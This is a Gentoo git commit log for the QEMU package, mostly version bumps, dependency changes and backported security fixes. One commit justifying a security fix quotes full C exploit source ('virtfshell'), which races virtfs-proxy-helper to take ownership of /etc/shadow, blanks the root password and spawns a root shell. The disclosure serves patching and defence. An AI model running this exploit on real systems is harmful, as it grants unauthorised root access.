app-emulation/qemu: apply patch for CVE-2016-6836, bug #591242
Package-Manager: portage-2.2.28
Matthias Maier · gentoo
app-emulation/qemu: drop vulnerable 2.6.0
Package-Manager: portage-2.2.28
Matthias Maier · gentoo
app-emulation/qemu: version bump to 2.7.0, various security fixes
3af9187fc6caaf415ab9c0c6d92c9678f65cb17f -> CVE-2016-4001, bug #579734 3a15cc0e1ee7168db0782133d2607a6bfa422d66 -> CVE-2016-4002, bug #579734 c98c6c105f66f05aa0b7c1d2a4a3f716450907ef -> CVE-2016-4439, bug #583496 6c1fef6b59563cc415f21e03f81539ed4b33ad90 -> CVE-2016-4441, bug #583496 06630554ccbdd25780aa03c3548aaff1eb56dffd -> , bug #583952 844864fbae66935951529408831c2f22367a57b6 -> CVE-2016-5337, bug #584094 b60bdd1f1ee1616b7a9aeeffb4088e1ce2710fb2 -> , bug #584102 1b85898025c4cd95dce673d15e67e60e98e91731 -> , bug #584146 521360267876d3b6518b328051a2e56bca55bef8 -> CVE-2016-4453, bug #584514 4e68a0ee17dad7b8d870df0081d4ab2e079016c2 -> CVE-2016-4454, bug #584514 a6b3167fa0e825aebb5a7cd8b437b6d41584a196 -> CVE-2016-5126, bug #584630 ff589551c8e8e9e95e211b9d8daafb4ed39f1aec -> CVE-2016-5338, bug #584918 d3cdc49138c30be1d3c2f83d18f85d9fdee95f1a -> CVE-2016-5238, bug #584918 1e7aed70144b4673fc26e73062064b6724795e5f -> , bug #589924 afd9096eb1882f23929f5b5c177898ed231bac66 -> CVE-2016-5403, bug #589928 eb700029c7836798046191d62d595363d92c84d4 -> CVE-2016-6835, bug #591244 ead315e43ea0c2ca3491209c6c8db8ce3f2bbe05 -> CVE-2016-6834, bug #591374 6c352ca9b4ee3e1e286ea9e8434bd8e69ac7d0d8 -> CVE-2016-6833, bug #591380 47882fa4975bf0b58dd74474329fdd7154e8f04c -> CVE-2016-6888, bug #591678 805b5d98c649d26fc44d2d7755a97f18e62b438a 56f101ecce0eafd09e2daf1c4eeb1377d6959261 fff39a7ad09da07ef490de05c92c91f22f8002f2 -> , bug #592430 Package-Manager: portage-2.2.28
Matthias Maier · gentoo
app-emulation/qemu: remove vulnerable 2.5.0
Package-Manager: portage-2.2.28
Luca Barbato · gentoo
app-emulation/qemu: Drop a patch
It is already upstreamed. Package-Manager: portage-2.3.0
Luca Barbato · gentoo
app-emulation/qemu: Update the languages list
Package-Manager: portage-2.3.0
Luca Barbato · gentoo
app-emulation/qemu: Drop a -Werror when it could cause a false positive
The check code could trigger recent compiler warnings. Package-Manager: portage-2.2.26
Mike Frysinger · gentoo
app-emulation/qemu: handle bzip2 dep #589968
The block layer uses it to support bzip2 compression in dmg images. That code makes it into softmmu binaries and userland utils.
Alexey Shvetsov · gentoo
app-emulation/qemu: adapt sys-infiniband to sys-fabric rename
Package-Manager: portage-2.3.0_rc1
Mike Frysinger · gentoo
app-emulation/qemu: drop kvm_stat to match upstream #586158
Mike Frysinger · gentoo
app-emulation/qemu: fix static linking errors w/curl[ssl,curl_ssl_openssl]
Mike Frysinger · gentoo
app-emulation/qemu: depend on jpeg SLOT=0 for building
Mike Frysinger · gentoo
app-emulation/qemu: workaround breakage in xfs/linux headers #577810
Add upstream patch to workaround some combinations of xfsprogs & linux headers so we don't have to worry about stable breakage anymore. This fix is already in upstream & unstable versions.
Mike Frysinger · gentoo
app-emulation/qemu: version bump to 2.6.0 #583212
Mike Frysinger · gentoo
app-emulation/qemu: use subslots w/nettle & gnutls #582836
Mike Frysinger · gentoo
app-misc/qemu: version bump & bug fixes #579614 #580040 #580426
Mike Frysinger · gentoo
app-emulation/qemu: mention /dev/kvm perm updates in the readme/elog #580436
Agostino Sarubbo · gentoo
app-emulation/qemu: x86 stable wrt bug #573816
Package-Manager: portage-2.2.26 RepoMan-Options: --include-arches="x86" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #573816
Package-Manager: portage-2.2.26 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Mike Frysinger · gentoo
app-emulation/qemu: add few more upstream fixes #573816 #578142
Mike Frysinger · gentoo
app-emulation/qemu: use l10n.eclass to respect LINGUAS #577814
Sergey Popov · gentoo
app-emulation/qemu: security cleanup
Gentoo-Bug: 576420 Package-Manager: portage-2.2.28
Agostino Sarubbo · gentoo
app-emulation/qemu: x86 stable wrt bug #578044
Package-Manager: portage-2.2.26 RepoMan-Options: --include-arches="x86" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #578044
Package-Manager: portage-2.2.26 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Mike Frysinger · gentoo
app-emulation/qemu: backport various upstream fixes
Doug Goldstein · gentoo
app-emulation/qemu: fix arm depends for libseccomp
arm needs libseccomp 2.2.3 or newer for QEMU to be able to utilize it. Package-Manager: portage-2.2.26 Signed-off-by: Doug Goldstein <cardoe@gentoo.org>
Matthew Thode · gentoo
app-emulation/qemu: keywording arm64
merged on X-C1 Package-Manager: portage-2.2.26
Doug Goldstein · gentoo
app-emulation/qemu: fix arm64 dependencies
arm/arm64 have some dependencies which are higher than other platforms. Unfortunately the dependencies are not stable on arm but this package is so arm updates will come later. Package-Manager: portage-2.2.26 Signed-off-by: Doug Goldstein <cardoe@gentoo.org>
Doug Goldstein · gentoo
app-emulation/qemu: remove vulnerable versions
Package-Manager: portage-2.2.26 Signed-off-by: Doug Goldstein <cardoe@gentoo.org>
Ian Delaney · gentoo
Merge remote-tracking branch 'remotes/jasom/master'
Pull request: https://github.com/gentoo/gentoo/pull/725
Agostino Sarubbo · gentoo
app-emulation/qemu: x86 stable wrt bug #571566
Package-Manager: portage-2.2.26 RepoMan-Options: --include-arches="x86" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #571566
Package-Manager: portage-2.2.26 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Ian Delaney · gentoo
Merge remote-tracking branch 'remotes/Coacher/mpv-verbump-to-0.15.0'
Pull request: https://github.com/gentoo/gentoo/pull/675
Mike Frysinger · gentoo
app-emulation/qemu: add upstream fixes for #567868 #568246 #570110 #570988 #571566
Ian Delaney · gentoo
Merge remote-tracking branch 'remotes/Coacher/fwknop-cleanup'
Pull request: https://github.com/gentoo/gentoo/pull/501
Mike Frysinger · gentoo
app-emulation/qemu: disable libgcrypt usage #568856
Mike Frysinger · gentoo
app-emulation/qemu: drop versions <2.4.1-r2
Mike Frysinger · gentoo
app-emulation/qemu: version bump to 2.5.0
Agostino Sarubbo · gentoo
app-emulation/qemu: x86 stable wrt bug #567828
Package-Manager: portage-2.2.24 RepoMan-Options: --include-arches="x86" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #567828
Package-Manager: portage-2.2.24 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Mike Frysinger · gentoo
app-emulation/qemu: add upstream fixes for #567828 #568214
Mike Frysinger · gentoo
app-emulation/qemu: drop virtfs-proxy-helper fcaps from all versions #568226
Jason A. Donenfeld · gentoo
app-emulation/qemu: critical security fix
The virtfs-proxy-helper program is not a safe binary to give caps. The following exploit code demonstrates the vulnerability: ~=~=~=~= snip ~=~=~=~= /* == virtfshell == * * Some distributions make virtfs-proxy-helper from QEMU either SUID or * give it CAP_CHOWN fs capabilities. This is a terrible idea. While * virtfs-proxy-helper makes some sort of flimsy check to make sure * its socket path doesn't already exist, it is vulnerable to TOCTOU. * * This should spawn a root shell eventually on vulnerable systems. * * - zx2c4 * 2015-12-12 * * * zx2c4@thinkpad ~ $ lsb_release -i * Distributor ID: Gentoo * zx2c4@thinkpad ~ $ ./virtfshell * == Virtfshell - by zx2c4 == * [+] Beginning race loop * [+] Chown'd /etc/shadow, elevating to root * [+] Cleaning up * [+] Spawning root shell * thinkpad zx2c4 # whoami * root * */ #include <stdio.h> #include <sys/wait.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/inotify.h> #include <unistd.h> #include <stdlib.h> #include <signal.h> static int it_worked(void) { struct stat sbuf = { 0 }; stat("/etc/shadow", &sbuf); return sbuf.st_uid == getuid() && sbuf.st_gid == getgid(); } int main(int argc, char **argv) { int fd; pid_t pid; char uid[12], gid[12]; sprintf(uid, "%d", getuid()); sprintf(gid, "%d", getgid()); printf("== Virtfshell - by zx2c4 ==\n"); printf("[+] Beginning race loop\n"); while (!it_worked()) { fd = inotify_init(); unlink("/tmp/virtfshell/sock"); mkdir("/tmp/virtfshell", 0777); inotify_add_watch(fd, "/tmp/virtfshell", IN_CREATE); pid = fork(); if (!pid) { close(0); close(1); close(2); execlp("virtfs-proxy-helper", "virtfs-proxy-helper", "-n", "-p", "/tmp", "-u", uid, "-g", gid, "-s", "/tmp/virtfshell/sock", NULL); _exit(1); } read(fd, 0, 0); unlink("/tmp/virtfshell/sock"); symlink("/etc/shadow", "/tmp/virtfshell/sock"); close(fd); kill(pid, SIGKILL); wait(NULL); } printf("[+] Chown'd /etc/shadow, elevating to root\n"); system( "cp /etc/shadow /tmp/original_shadow;" "sed 's/^root:.*/root::::::::/' /etc/shadow > /tmp/modified_shadow;" "cat /tmp/modified_shadow > /etc/shadow;" "su -c '" " echo [+] Cleaning up;" " cat /tmp/original_shadow > /etc/shadow;" " chown root:root /etc/shadow;" " rm /tmp/modified_shadow /tmp/original_shadow;" " echo [+] Spawning root shell;" " exec /bin/bash -i" "'"); return 0; }
Mike Frysinger · gentoo
app-emulation/qemu: switch to new libcacard release #561814
Mike Frysinger · gentoo
app-emulation/qemu: add USE=virgl for Virgil 3d GPU #566994
Mike Frysinger · gentoo
app-emulation/qemu: add upstream security fixes #566792 #567144
Doug Goldstein · gentoo
app-emulation/qemu: utilize xen-tools sub-slot
app-emulation/xen-tools now exposes a sub-slot to help dependencies rebuild when necessary. Signed-off-by: Doug Goldstein <cardoe@gentoo.org>
Mike Frysinger · gentoo
app-emulation/qemu: update cflags patch #565866
Mike Frysinger · gentoo
app-emulation/qemu: force C locale for sorting to workaround glibc bug #564936
Mike Frysinger · gentoo
app-emulation/qemu: version bump to 2.4.1 #564990
Mike Frysinger · gentoo
app-emulation/qemu: update qmp doc paths #564186
Markos Chandras · gentoo
app-emulation/qemu: Backport a few MIPS patches. Bug #563162
Package-Manager: portage-2.2.23
Mike Frysinger · gentoo
app-emulation/qemu: version bump to 2.4.0.1 #562594
This also includes security fixes for #560760 #560550 #560422.
Michal Privoznik · gentoo
app-emulation/qemu: update smartcard configure flag #561670
Mike Frysinger · gentoo
app-emulation/qemu: add tilegx linux-user target #561322
Mike Frysinger · gentoo
app-emulation/qemu: switch USE=tls to USE=gnutls #560574
Upstream no longer has dedicated configuration options for tls settings. Instead, it's all run through the gnutls feature test. We require newer versions of gnutls because supporting older ones gets a bit messy -- qemu might leverage libgcrypt or nettle depending on how the gnutls package was built. By forcing the latest version, we can simplify and only require nettle. This isn't a big deal as it's already stable.
Mike Frysinger · gentoo
app-emulation/qemu: require mesa[egl] too
Upstream commit 7ced9e9f6da2257224591b91727cfeee4f3977fb made the egl layer of mesa a requirement.
Agostino Sarubbo · gentoo
app-emulation/qemu: x86 stable wrt bug #558416
Package-Manager: portage-2.2.20.1 RepoMan-Options: --include-arches="x86"
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #558416
Package-Manager: portage-2.2.20.1 RepoMan-Options: --include-arches="amd64"
Mike Frysinger · gentoo
app-emulation/qemu: various fixes/updates
Sync in the updates from the 9999 ebuild: - updated seabios pin - add new targets - add sanity checks for targets Add fix from upstream for blockcommit crashes #558396. Add fix from upstream for CVE-2015-5225 #558416. Add fix posted upstream (but not yet merged) for e1000 infinite loop #559656.
Mike Frysinger · gentoo
app-emulation/qemu: add target sanity checks
This way we know up front when a new target appears rather than when someone happens to check & notice.
Mike Frysinger · gentoo
app-emulation/qemu: update seabios pin to version 1.8.2
Mike Frysinger · gentoo
app-emulation/qemu: add new targets
Manuel Rüger · gentoo
app-emulation/qemu: Remove vulnerable
Package-Manager: portage-2.2.20.1
Mike Frysinger · gentoo
sys-libs/ncurses: move to SLOT=0 #557472
Use SLOT=0 for installing of main development files like other packages so we can use other SLOTs for installing SONAME libs for binary packages.
Justin Lecher · gentoo
Use https by default
Convert all URLs for sites supporting encrypted connections from http to https Signed-off-by: Justin Lecher <jlec@gentoo.org>
Justin Lecher · gentoo
app-emulation/qemu: Use slot operators for ncurses
Package-Manager: portage-2.2.20.1 Signed-off-by: Justin Lecher <jlec@gentoo.org>
Mike Frysinger · gentoo
app-emulation/qemu: switch to virtual/libusb to quiet repoman
Now that the virtual requires the latest libusb, we can switch to that rather than depending directly on libusb's version.
Mike Frysinger · gentoo
app-emulation/qemu: move more deps to softmmu-only case
These packages are only used when building softmmu binaries, so don't try pulling them in when the user is building tools or user binaries.
Mike Frysinger · gentoo
app-emulation/qemu: depend on libepoxy for USE=opengl #557488
Mike Frysinger · gentoo
qemu: version bump to 2.4.0
Mike Frysinger · gentoo
qemu: version bump to 2.3.1
Mike Frysinger · gentoo
qemu: do not put directly into stable
Mike Frysinger · gentoo
qemu: fix from upstream for virtio-serial security issue #557206
Robin H. Johnson · gentoo
proj/gentoo: Initial commit
This commit represents a new era for Gentoo: Storing the gentoo-x86 tree in Git, as converted from CVS. This commit is the start of the NEW history. Any historical data is intended to be grafted onto this point. Creation process: 1. Take final CVS checkout snapshot 2. Remove ALL ChangeLog* files 3. Transform all Manifests to thin 4. Remove empty Manifests 5. Convert all stale $Header$/$Id$ CVS keywords to non-expanded Git $Id$ 5.1. Do not touch files with -kb/-ko keyword flags. Signed-off-by: Robin H. Johnson <robbat2@gentoo.org> X-Thanks: Alec Warner <antarus@gentoo.org> - did the GSoC 2006 migration tests X-Thanks: Robin H. Johnson <robbat2@gentoo.org> - infra guy, herding this project X-Thanks: Nguyen Thai Ngoc Duy <pclouds@gentoo.org> - Former Gentoo developer, wrote Git features for the migration X-Thanks: Brian Harring <ferringb@gentoo.org> - wrote much python to improve cvs2svn X-Thanks: Rich Freeman <rich0@gentoo.org> - validation scripts X-Thanks: Patrick Lauer <patrick@gentoo.org> - Gentoo dev, running new 2014 work in migration X-Thanks: Michał Górny <mgorny@gentoo.org> - scripts, QA, nagging X-Thanks: All of other Gentoo developers - many ideas and lots of paint on the bikeshed